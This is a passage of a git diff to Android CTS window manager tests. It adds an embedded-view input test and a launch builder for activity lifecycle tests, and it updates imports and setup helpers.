     private final ActivityTestRule<Activity> mActivityRule = new ActivityTestRule<>(Activity.class);
@@ -64,9 +63,9 @@
     public void setUp() {
         pressWakeupButton();
         pressUnlockButton();
-        pressHomeButton();
+        launchHomeActivityNoWait();
 
-        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mInstrumentation = getInstrumentation();
         mActivity = mActivityRule.launchActivity(null);
         mInstrumentation.waitForIdleSync();
         mClickCount = 0;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowManagerTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowManagerTestBase.java
index 3490e00..10358dc 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowManagerTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowManagerTestBase.java
@@ -17,12 +17,12 @@
 package android.server.wm;
 
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
-import static android.server.wm.UiDeviceUtils.pressHomeButton;
+import static android.server.wm.ActivityManagerTestBase.launchHomeActivityNoWait;
 import static android.server.wm.UiDeviceUtils.pressUnlockButton;
 import static android.server.wm.UiDeviceUtils.pressWakeupButton;
 import static android.view.Display.DEFAULT_DISPLAY;
 
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import static org.junit.Assert.assertEquals;
 
@@ -42,7 +42,7 @@
     public void setupBase() {
         pressWakeupButton();
         pressUnlockButton();
-        pressHomeButton();
+        launchHomeActivityNoWait();
     }
 
     static <T extends FocusableActivity> T startActivity(Class<T> cls) throws InterruptedException {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowManager_LayoutParamsTest.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowManager_LayoutParamsTest.java
index 33fe379..442899f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowManager_LayoutParamsTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowManager_LayoutParamsTest.java
@@ -91,7 +91,7 @@
 
         new WindowManager.LayoutParams(parcel);
         assertTrue(WindowManager.LayoutParams.mayUseInputMethod(0));
-        assertTrue(WindowManager.LayoutParams.mayUseInputMethod(
+        assertFalse(WindowManager.LayoutParams.mayUseInputMethod(
                 WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
                     | WindowManager.LayoutParams.FLAG_ALT_FOCUSABLE_IM));
         assertFalse(WindowManager.LayoutParams
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowTest.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowTest.java
index 9d05c45..3d3b687 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowTest.java
@@ -413,9 +413,9 @@
     public void testSetBackgroundDrawable() throws Throwable {
         // DecorView holds the background
         View decor = mWindow.getDecorView();
-        if (!mWindow.hasFeature(Window.FEATURE_SWIPE_TO_DISMISS)) {
-            assertEquals(PixelFormat.OPAQUE, decor.getBackground().getOpacity());
-        }
+
+        assertEquals(PixelFormat.OPAQUE, decor.getBackground().getOpacity());
+
         // setBackgroundDrawableResource(int resId) has the same
         // functionality with setBackgroundDrawable(Drawable drawable), just different in
         // parameter.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowlessWmTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowlessWmTests.java
new file mode 100644
index 0000000..2f9fb24
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowlessWmTests.java
@@ -0,0 +1,177 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm;
+
+import static android.server.wm.UiDeviceUtils.pressHomeButton;
+import static android.server.wm.UiDeviceUtils.pressUnlockButton;
+import static android.server.wm.UiDeviceUtils.pressWakeupButton;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.assertFalse;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.graphics.PixelFormat;
+import android.graphics.Point;
+import android.graphics.Rect;
+import android.view.Gravity;
+import android.view.View;
+import android.view.ViewGroup;
+import android.view.SurfaceHolder;
+import android.view.SurfaceHolder.Callback;
+import android.view.WindowInsets;
+import android.view.WindowManager;
+import android.view.WindowlessViewRoot;
+import android.widget.FrameLayout;
+import android.widget.Button;
+
+import android.view.SurfaceView;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.FlakyTest;
+import androidx.test.rule.ActivityTestRule;
+
+import com.android.compatibility.common.util.CtsTouchUtils;
+
+import android.platform.test.annotations.Presubmit;
+
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Ensure end-to-end functionality of the WindowlessWindowManager.
+ *
+ * Build/Install/Run:
+ *     atest CtsWindowManagerDeviceTestCases:WindowlessWmTests
+ */
+@Presubmit
+@FlakyTest
+public class WindowlessWmTests implements SurfaceHolder.Callback {
+    private final ActivityTestRule<Activity> mActivityRule = new ActivityTestRule<>(Activity.class);
+
+    private Instrumentation mInstrumentation;
+    private Activity mActivity;
+    private SurfaceView mSurfaceView;
+
+    private WindowlessViewRoot mVr;
+    private View mEmbeddedView;
+
+    private boolean mClicked = false;
+
+    /*
+     * Configurable state to control how the surfaceCreated callback
+     * will initialize the embedded view hierarchy.
+     */
+    int mEmbeddedViewWidth = 100;
+    int mEmbeddedViewHeight = 100;
+
+    private static final int DEFAULT_SURFACE_VIEW_WIDTH = 100;
+    private static final int DEFAULT_SURFACE_VIEW_HEIGHT = 100;
+
+    @Before
+    public void setUp() {
+        pressWakeupButton();
+        pressUnlockButton();
+        pressHomeButton();
+
+        mClicked = false;
+
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.launchActivity(null);
+        mInstrumentation.waitForIdleSync();
+    }
+
+    private void addSurfaceView(int width, int height) throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            final FrameLayout content = new FrameLayout(mActivity);
+            mSurfaceView = new SurfaceView(mActivity);
+            mSurfaceView.setZOrderOnTop(true);
+            content.addView(mSurfaceView, new FrameLayout.LayoutParams(
+                width, height, Gravity.LEFT | Gravity.TOP));
+            mActivity.setContentView(content, new ViewGroup.LayoutParams(width, height));
+            mSurfaceView.getHolder().addCallback(this);
+        });
+    }
+
+    private void addViewToSurfaceView(SurfaceView sv, View v, int width, int height) {
+        mVr = new WindowlessViewRoot(mActivity, mActivity.getDisplay(),
+                sv.getSurfaceControl(), sv.getInputToken());
+        WindowManager.LayoutParams lp = new WindowManager.LayoutParams(width, height,
+                WindowManager.LayoutParams.TYPE_APPLICATION, 0, PixelFormat.OPAQUE);
+        mVr.addView(v, lp);
+    }
+
+    @Override
+    public void surfaceCreated(SurfaceHolder holder) {
+        addViewToSurfaceView(mSurfaceView, mEmbeddedView,
+                mEmbeddedViewWidth, mEmbeddedViewHeight);
+    }
+
+    @Override
+    public void surfaceDestroyed(SurfaceHolder holder) {
+    }
+
+    @Override
+    public void surfaceChanged(SurfaceHolder holder, int format, int width,
+            int height) {
+    }
+
+    @Test
+    public void testEmbeddedViewReceivesInput() throws Throwable {
+        mEmbeddedView = new Button(mActivity);
+        mEmbeddedView.setOnClickListener((View v) -> {
+            mClicked = true;
+        });
+
+        addSurfaceView(DEFAULT_SURFACE_VIEW_WIDTH, DEFAULT_SURFACE_VIEW_HEIGHT);
+        mInstrumentation.waitForIdleSync();
+
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mSurfaceView);
+        assertTrue(mClicked);
+    }
+
+    @Test
+    public void testEmbeddedViewResizes() throws Throwable {
+        mEmbeddedView = new Button(mActivity);
+        mEmbeddedView.setOnClickListener((View v) -> {
+            mClicked = true;
+        });
+
+        final int bigEdgeLength = mEmbeddedViewWidth * 3;
+
+        // We make the SurfaceView more than twice as big as the embedded view
+        // so that a touch in the middle of the SurfaceView won't land
+        // on the embedded view.
+        addSurfaceView(bigEdgeLength, bigEdgeLength);
+        mInstrumentation.waitForIdleSync();
+
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mSurfaceView);
+        assertFalse(mClicked);
+
+        mActivityRule.runOnUiThread(() -> {
+                WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
+                        bigEdgeLength, bigEdgeLength,
+                        WindowManager.LayoutParams.TYPE_APPLICATION, 0, PixelFormat.OPAQUE);
+                mVr.relayout(lp);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        // But after the click should hit.
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mSurfaceView);
+        assertTrue(mClicked);
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java b/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java
index 6b5600c..9ba003c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java
@@ -77,4 +77,10 @@
 
     public static class LauncherActivity extends Activity {
     }
+
+    public static class RelinquishTaskIdentityActivity extends Activity {
+    }
+
+    public static class TaskAffinity1RelinquishTaskIdentityActivity extends Activity {
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/intent/IntentGenerationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/intent/IntentGenerationTests.java
index fcbd865..396ead6 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/intent/IntentGenerationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/intent/IntentGenerationTests.java
@@ -63,6 +63,17 @@
  *
  * Build/Install/Run:
  * atest CtsWindowManagerDeviceTestCases:IntentGenerationTests
+ *
+ *
+ * <p>NOTE: It is also possible to use this to manually verify a single test (useful for local
+ * debugging). To do that:
+ * 1. Put the correct test name in {@link #verifySingle()} and remove the @Ignore annotation
+ * 2. Push the file under test to device, e.g.
+ *    adb shell mkdir /storage/emulated/0/Documents/relinquishTaskIdentity/
+ *    adb push cts/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/test-0.json /storage/emulated/0/Documents/relinquishTaskIdentity/
+ * 3. Run the test
+ *    atest CtsWindowManagerDeviceTestCases:IntentGenerationTests#verifySingle
+ * </p>
  */
 public class IntentGenerationTests extends IntentTestBase {
     private static final Cases CASES = new Cases();
@@ -106,9 +117,11 @@
      * @throws JSONException if the file has invalid json in it.
      */
     @Test
+    // Comment the following line to test locally
     @Ignore
     public void verifySingle() throws IOException, JSONException {
-        String test = "forResult/test-1.json";
+        // Replace this line with the test you need
+        String test = "relinquishTaskIdentity/test-0.json";
         TestCase testCase = readFromStorage(test);
         mLaunchRunner.verify(mTargetContext, testCase);
     }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/intent/IntentTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/intent/IntentTestBase.java
index 887d599..cdabec4 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/intent/IntentTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/intent/IntentTestBase.java
@@ -36,18 +36,18 @@
      * @param activitiesInUsedInTest activities that should be gone after tearDown
      */
     public void cleanUp(List<ComponentName> activitiesInUsedInTest) throws Exception {
-        super.tearDown();
-        UiDeviceUtils.pressHomeButton();
+        launchHomeActivityNoWait();
         removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
 
         this.getAmWmState().waitForWithAmState(
                 state -> state.containsNoneOf(activitiesInUsedInTest),
-                "Waiting for activity to be removed");
+                "activity to be removed");
     }
 
     @After
     @Override
     public void tearDown() throws Exception {
+        super.tearDown();
         cleanUp(activitiesUsedInTest());
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/intent/LaunchRunner.java b/tests/framework/base/windowmanager/src/android/server/wm/intent/LaunchRunner.java
index b7b34d8..9357e99 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/intent/LaunchRunner.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/intent/LaunchRunner.java
@@ -317,7 +317,7 @@
         SystemClock.sleep(BEFORE_DUMP_TIMEOUT);
         mTestBase.getAmWmState().waitForWithAmState(
                 am -> StateDump.fromStacks(am.getStacks(), mBaseStacks).equals(expected),
-                "Wait until the activity states match up with what we recorded");
+                "the activity states match up with what we recorded");
         mTestBase.getAmWmState().computeState(activity.getComponentName());
 
         List<ActivityManagerState.ActivityStack> endStateStacks =
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
index d2bb3ef..443addc 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
@@ -16,6 +16,9 @@
 
 package android.server.wm.lifecycle;
 
+import static android.app.Activity.RESULT_OK;
+import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.server.wm.StateLogger.log;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_ACTIVITY_RESULT;
@@ -33,9 +36,13 @@
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_LOST;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.PRE_ON_CREATE;
 
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.hamcrest.Matchers.lessThan;
+import static org.junit.Assert.fail;
 
 import android.app.Activity;
+import android.app.ActivityOptions;
 import android.app.PictureInPictureParams;
 import android.content.ComponentName;
 import android.content.Context;
@@ -44,22 +51,46 @@
 import android.content.res.Configuration;
 import android.os.Bundle;
 import android.os.Handler;
+import android.os.Looper;
 import android.server.wm.MultiDisplayTestBase;
 import android.server.wm.lifecycle.LifecycleLog.ActivityCallback;
+import android.transition.Transition;
+import android.transition.TransitionListenerAdapter;
 import android.util.Pair;
 
+import android.server.wm.cts.R;
+
+import androidx.annotation.NonNull;
 import androidx.test.rule.ActivityTestRule;
 
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.Assert;
 import org.junit.Before;
 
+import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.List;
+import java.util.function.Consumer;
 
 /** Base class for device-side tests that verify correct activity lifecycle transitions. */
 public class ActivityLifecycleClientTestBase extends MultiDisplayTestBase {
 
+    /**
+     * Activity launch time is evaluated. It is expected to be less than 5 seconds. Otherwise, it's
+     * likely there is a timeout.
+     */
+    private static final long ACTIVITY_LAUNCH_TIMEOUT = 5 * 1000;
+
     static final String EXTRA_RECREATE = "recreate";
+    static final String EXTRA_FINISH_IN_ON_CREATE = "finish_in_on_create";
+    static final String EXTRA_FINISH_IN_ON_START = "finish_in_on_start";
     static final String EXTRA_FINISH_IN_ON_RESUME = "finish_in_on_resume";
     static final String EXTRA_FINISH_AFTER_RESUME = "finish_after_resume";
+    static final String EXTRA_FINISH_IN_ON_PAUSE = "finish_in_on_pause";
+    static final String EXTRA_FINISH_IN_ON_STOP = "finish_in_on_stop";
+    static final String EXTRA_START_ACTIVITY_IN_ON_CREATE = "start_activity_in_on_create";
+    static final String EXTRA_START_ACTIVITY_WHEN_IDLE = "start_activity_when_idle";
 
     static final ComponentName CALLBACK_TRACKING_ACTIVITY =
             getComponentName(CallbackTrackingActivity.class);
@@ -67,51 +98,6 @@
     static final ComponentName CONFIG_CHANGE_HANDLING_ACTIVITY =
             getComponentName(ConfigChangeHandlingActivity.class);
 
-    final ActivityTestRule mFirstActivityTestRule = new ActivityTestRule<>(FirstActivity.class,
-            true /* initialTouchMode */, false /* launchActivity */);
-
-    final ActivityTestRule mSecondActivityTestRule = new ActivityTestRule<>(SecondActivity.class,
-            true /* initialTouchMode */, false /* launchActivity */);
-
-    final ActivityTestRule mThirdActivityTestRule = new ActivityTestRule<>(ThirdActivity.class,
-            true /* initialTouchMode */, false /* launchActivity */);
-
-    final ActivityTestRule mTranslucentActivityTestRule = new ActivityTestRule<>(
-            TranslucentActivity.class, true /* initialTouchMode */, false /* launchActivity */);
-
-    final ActivityTestRule mSecondTranslucentActivityTestRule = new ActivityTestRule<>(
-            SecondTranslucentActivity.class, true /* initialTouchMode */,
-            false /* launchActivity */);
-
-    final ActivityTestRule mLaunchForResultActivityTestRule = new ActivityTestRule<>(
-             LaunchForResultActivity.class, true /* initialTouchMode */, false /* launchActivity */);
-
-    final ActivityTestRule mCallbackTrackingActivityTestRule = new ActivityTestRule<>(
-            CallbackTrackingActivity.class, true /* initialTouchMode */,
-            false /* launchActivity */);
-
-    final ActivityTestRule mTranslucentCallbackTrackingActivityTestRule = new ActivityTestRule<>(
-            TranslucentCallbackTrackingActivity.class, true /* initialTouchMode */,
-            false /* launchActivity */);
-
-    final ActivityTestRule mShowWhenLockedCallbackTrackingActivityTestRule = new ActivityTestRule<>(
-            ShowWhenLockedCallbackTrackingActivity.class, true /* initialTouchMode */,
-            false /* launchActivity */);
-
-    final ActivityTestRule mSingleTopActivityTestRule = new ActivityTestRule<>(
-            SingleTopActivity.class, true /* initialTouchMode */, false /* launchActivity */);
-
-    final ActivityTestRule mConfigChangeHandlingActivityTestRule = new ActivityTestRule<>(
-            ConfigChangeHandlingActivity.class, true /* initialTouchMode */,
-            false /* launchActivity */);
-
-    final ActivityTestRule mPipActivityTestRule = new ActivityTestRule<>(
-            PipActivity.class, true /* initialTouchMode */, false /* launchActivity */);
-
-    final ActivityTestRule mAlwaysFocusableActivityTestRule = new ActivityTestRule<>(
-            AlwaysFocusablePipActivity.class, true /* initialTouchMode */,
-            false /* launchActivity */);
-
     final ActivityTestRule mSlowActivityTestRule = new ActivityTestRule<>(
             SlowActivity.class, true /* initialTouchMode */, false /* launchActivity */);
 
@@ -134,10 +120,139 @@
         mLifecycleTracker = new LifecycleTracker(mLifecycleLog);
     }
 
-    /** Launch an activity given a class. */
-    protected Activity launchActivity(Class<? extends Activity> activityClass) {
-        final Intent intent = new Intent(mTargetContext, activityClass);
-        return getInstrumentation().startActivitySync(intent);
+    /** Activity launch builder for lifecycle tests. */
+    class Launcher {
+        private int mFlags;
+        private ActivityCallback mExpectedState;
+        private List<String> mExtraFlags = new ArrayList<>();
+        private Consumer<Intent> mPostIntentSetup;
+        private ActivityOptions mOptions;
+        private boolean mNoInstance;
+        private final Class<? extends Activity> mActivityClass;
+        private boolean mSkipLaunchTimeCheck;
+
+        private boolean mLaunchCalled = false;
+
+        /**
+         * @param activityClass Class of the activity to launch.
+         */
+        Launcher(@NonNull Class<? extends Activity> activityClass) {
+            mActivityClass = activityClass;
+        }
+
+        /**
+         * Perform the activity launch. Will wait for an instance of the activity if needed and will
+         * verify the launch time.
+         */
+        Activity launch() throws Exception {
+            mLaunchCalled = true;
+
+            // Prepare the intent
+            final Intent intent = new Intent(mTargetContext, mActivityClass);
+            if (mFlags != 0) {
+                intent.setFlags(mFlags);
+            } else {
+                intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            }
+            for (String flag : mExtraFlags) {
+                intent.putExtra(flag, true);
+            }
+            if (mPostIntentSetup != null) {
+                mPostIntentSetup.accept(intent);
+            }
+            final Bundle optionsBundle = mOptions != null ? mOptions.toBundle() : null;
+
+            // Start measuring time spent on starting the activity
+            final long startTime = System.currentTimeMillis();
+            final Activity activity = SystemUtil.callWithShellPermissionIdentity(() -> {
+                if (mNoInstance) {
+                    mTargetContext.startActivity(intent, optionsBundle);
+                    return null;
+                }
+                return getInstrumentation().startActivitySync(
+                        intent, optionsBundle);
+            });
+            if (!mNoInstance && activity == null) {
+                fail("Must have returned an instance of Activity after launch.");
+            }
+            // Wait for activity to reach the desired state and verify launch time.
+            if (mExpectedState == null) {
+                mExpectedState = CallbackTrackingActivity.class.isAssignableFrom(mActivityClass)
+                        ? ON_TOP_POSITION_GAINED : ON_RESUME;
+            }
+            waitAndAssertActivityStates(state(mActivityClass, mExpectedState));
+            if (!mSkipLaunchTimeCheck) {
+                Assert.assertThat(System.currentTimeMillis() - startTime,
+                        lessThan(ACTIVITY_LAUNCH_TIMEOUT));
+            }
+
+            return activity;
+        }
+
+        /** Set intent flags for launch. */
+        public Launcher setFlags(int flags) {
+            mFlags = flags;
+            return this;
+        }
+
+        /**
+         * Set the expected lifecycle state to verify. Will be inferred automatically if not set.
+         */
+        public Launcher setExpectedState(ActivityCallback expectedState) {
+            mExpectedState = expectedState;
+            return this;
+        }
+
+        /** Allow the caller to customize the intent right before starting activity. */
+        public Launcher customizeIntent(Consumer<Intent> intentSetup) {
+            mPostIntentSetup = intentSetup;
+            return this;
+        }
+
+        /** Set extra flags to pass as boolean values through the intent. */
+        public Launcher setExtraFlags(String... extraFlags) {
+            mExtraFlags.addAll(Arrays.asList(extraFlags));
+            return this;
+        }
+
+        /** Set the activity options to use for the launch. */
+        public Launcher setOptions(ActivityOptions options) {
+            mOptions = options;
+            return this;
+        }
+
+        /**
+         * Indicate that no instance should be returned. Usually used for activity launches that are
+         * expected to end up in not-active state and when the synchronous instrumentation launch
+         * can timeout.
+         */
+        Launcher setNoInstance() {
+            mNoInstance = true;
+            return this;
+        }
+
+        /** Indicate that launch time verification should not be performed. */
+        Launcher setSkipLaunchTimeCheck() {
+            mSkipLaunchTimeCheck = true;
+            return this;
+        }
+
+        @Override
+        protected void finalize() throws Throwable {
+            super.finalize();
+            if (!mLaunchCalled) {
+                throw new IllegalStateException("Activity launch builder created but not used!");
+            }
+        }
+    }
+
+    /**
+     * Launch an activity given a class. Will wait for the launch to finish and verify the launch
+     * time.
+     * @return The launched Activity instance.
+     */
+    Activity launchActivityAndWait(Class<? extends Activity> activityClass) throws Exception {
+        return new Launcher(activityClass).launch();
     }
 
     /**
@@ -227,30 +342,68 @@
             mLifecycleLogClient = LifecycleLog.LifecycleLogClient.create(this);
             mLifecycleLogClient.onActivityCallback(PRE_ON_CREATE);
             mLifecycleLogClient.onActivityCallback(ON_CREATE);
+
+            final Intent intent = getIntent();
+            final Intent startOnCreate =
+                    intent.getParcelableExtra(EXTRA_START_ACTIVITY_IN_ON_CREATE);
+            if (startOnCreate != null) {
+                startActivity(startOnCreate);
+            }
+
+            final Intent startOnIdle = intent.getParcelableExtra(EXTRA_START_ACTIVITY_WHEN_IDLE);
+            if (startOnIdle != null) {
+                Looper.getMainLooper().getQueue().addIdleHandler(() -> {
+                    startActivity(startOnIdle);
+                    return false;
+                });
+            }
+
+            if (intent.getBooleanExtra(EXTRA_FINISH_IN_ON_CREATE, false)) {
+                finish();
+            }
         }
 
         @Override
         protected void onStart() {
             super.onStart();
             mLifecycleLogClient.onActivityCallback(ON_START);
+
+            if (getIntent().getBooleanExtra(EXTRA_FINISH_IN_ON_START, false)) {
+                finish();
+            }
         }
 
         @Override
         protected void onResume() {
             super.onResume();
             mLifecycleLogClient.onActivityCallback(ON_RESUME);
+
+            final Intent intent = getIntent();
+            if (intent.getBooleanExtra(EXTRA_FINISH_IN_ON_RESUME, false)) {
+                finish();
+            } else if (intent.getBooleanExtra(EXTRA_FINISH_AFTER_RESUME, false)) {
+                getWindow().getDecorView().post(this::finish);
+            }
         }
 
         @Override
         protected void onPause() {
             super.onPause();
             mLifecycleLogClient.onActivityCallback(ON_PAUSE);
+
+            if (getIntent().getBooleanExtra(EXTRA_FINISH_IN_ON_PAUSE, false)) {
+                finish();
+            }
         }
 
         @Override
         protected void onStop() {
             super.onStop();
             mLifecycleLogClient.onActivityCallback(ON_STOP);
+
+            if (getIntent().getBooleanExtra(EXTRA_FINISH_IN_ON_STOP, false)) {
+                finish();
+            }
         }
 
         @Override
@@ -322,6 +475,10 @@
         }
     }
 
+    // Just another callback tracking activity, nothing special.
+    public static class SecondCallbackTrackingActivity extends CallbackTrackingActivity {
+    }
+
     // Translucent callback tracking test activity
     public static class TranslucentCallbackTrackingActivity extends CallbackTrackingActivity {
     }
@@ -339,31 +496,76 @@
      * Test activity that launches {@link ResultActivity} for result.
      */
     public static class LaunchForResultActivity extends CallbackTrackingActivity {
+        private static final String EXTRA_FORWARD_EXTRAS = "FORWARD_EXTRAS";
+        public static final String EXTRA_LAUNCH_ON_RESULT = "LAUNCH_ON_RESULT";
+        public static final String EXTRA_LAUNCH_ON_RESUME_AFTER_RESULT =
+                "LAUNCH_ON_RESUME_AFTER_RESULT";
+
+        boolean mReceivedResultOk;
+
+        /** Adds the flag to the extra of intent which will forward to {@link ResultActivity}. */
+        static Consumer<Intent> forwardFlag(String flag) {
+            return intent -> {
+                final Bundle data = new Bundle();
+                data.putBoolean(flag, true);
+                intent.putExtra(EXTRA_FORWARD_EXTRAS, data);
+            };
+        }
 
         @Override
         protected void onCreate(Bundle savedInstanceState) {
             super.onCreate(savedInstanceState);
-            startForResult();
-        }
-
-        private void startForResult() {
             final Intent intent = new Intent(this, ResultActivity.class);
-            intent.putExtras(getIntent());
+            final Bundle forwardExtras = getIntent().getBundleExtra(EXTRA_FORWARD_EXTRAS);
+            if (forwardExtras != null) {
+                intent.putExtras(forwardExtras);
+            }
             startActivityForResult(intent, 1 /* requestCode */);
         }
-    }
 
-    /** Test activity that is started for result and finishes itself in ON_RESUME. */
-    public static class ResultActivity extends CallbackTrackingActivity {
         @Override
         protected void onResume() {
             super.onResume();
+            if (mReceivedResultOk
+                    && getIntent().getBooleanExtra(EXTRA_LAUNCH_ON_RESUME_AFTER_RESULT, false)) {
+                startActivity(new Intent(this, CallbackTrackingActivity.class));
+            }
+        }
+
+        @Override
+        protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+            super.onActivityResult(requestCode, resultCode, data);
+            mReceivedResultOk = resultCode == RESULT_OK;
+            if (mReceivedResultOk && getIntent().getBooleanExtra(EXTRA_LAUNCH_ON_RESULT, false)) {
+                startActivity(new Intent(this, CallbackTrackingActivity.class));
+            }
+        }
+    }
+
+    /** Test activity that is started for result. */
+    public static class ResultActivity extends CallbackTrackingActivity {
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
             setResult(RESULT_OK);
-            final Intent intent = getIntent();
-            if (intent.getBooleanExtra(EXTRA_FINISH_IN_ON_RESUME, false)) {
-                finish();
-            } else if (intent.getBooleanExtra(EXTRA_FINISH_AFTER_RESUME, false)) {
-                new Handler().postDelayed(() -> finish(), 2000);
+            super.onCreate(savedInstanceState);
+        }
+    }
+
+    /** Test activity with NoDisplay theme that can finish itself. */
+    public static class NoDisplayActivity extends ResultActivity {
+        static final String EXTRA_LAUNCH_ACTIVITY = "extra_launch_activity";
+        static final String EXTRA_NEW_TASK = "extra_new_task";
+
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+
+            if (getIntent().getBooleanExtra(EXTRA_LAUNCH_ACTIVITY, false)) {
+                final Intent intent = new Intent(this, CallbackTrackingActivity.class);
+                if (getIntent().getBooleanExtra(EXTRA_NEW_TASK, false)) {
+                    intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
+                }
+                startActivity(intent);
             }
         }
     }
@@ -448,6 +650,41 @@
         }
     }
 
+    public static class DifferentAffinityActivity extends LifecycleTrackingActivity {
+    }
+
+    public static class TransitionSourceActivity extends LifecycleTrackingActivity {
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            setContentView(R.layout.transition_source_layout);
+        }
+
+        void launchActivityWithTransition() {
+            final ActivityOptions options = ActivityOptions.makeSceneTransitionAnimation(this,
+                    findViewById(R.id.transitionView), "sharedTransition");
+            final Intent intent = new Intent(this, TransitionDestinationActivity.class);
+            startActivity(intent, options.toBundle());
+        }
+    }
+
+    public static class TransitionDestinationActivity extends LifecycleTrackingActivity {
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            setContentView(R.layout.transition_destination_layout);
+            final Transition sharedElementEnterTransition =
+                    getWindow().getSharedElementEnterTransition();
+            sharedElementEnterTransition.addListener(new TransitionListenerAdapter() {
+                @Override
+                public void onTransitionEnd(Transition transition) {
+                    super.onTransitionEnd(transition);
+                    finishAfterTransition();
+                }
+            });
+        }
+    }
+
     static ComponentName getComponentName(Class<? extends Activity> activity) {
         return new ComponentName(getInstrumentation().getContext(), activity);
     }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleFreeformTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleFreeformTests.java
index 767097b..b6e4d9b 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleFreeformTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleFreeformTests.java
@@ -32,16 +32,14 @@
 import static org.junit.Assume.assumeTrue;
 
 import android.app.Activity;
-import android.app.ActivityManager;
 import android.app.ActivityOptions;
 import android.content.Intent;
 import android.os.Bundle;
 import android.platform.test.annotations.Presubmit;
 
+import androidx.test.filters.FlakyTest;
 import androidx.test.filters.MediumTest;
 
-import com.android.compatibility.common.util.SystemUtil;
-
 import org.junit.Before;
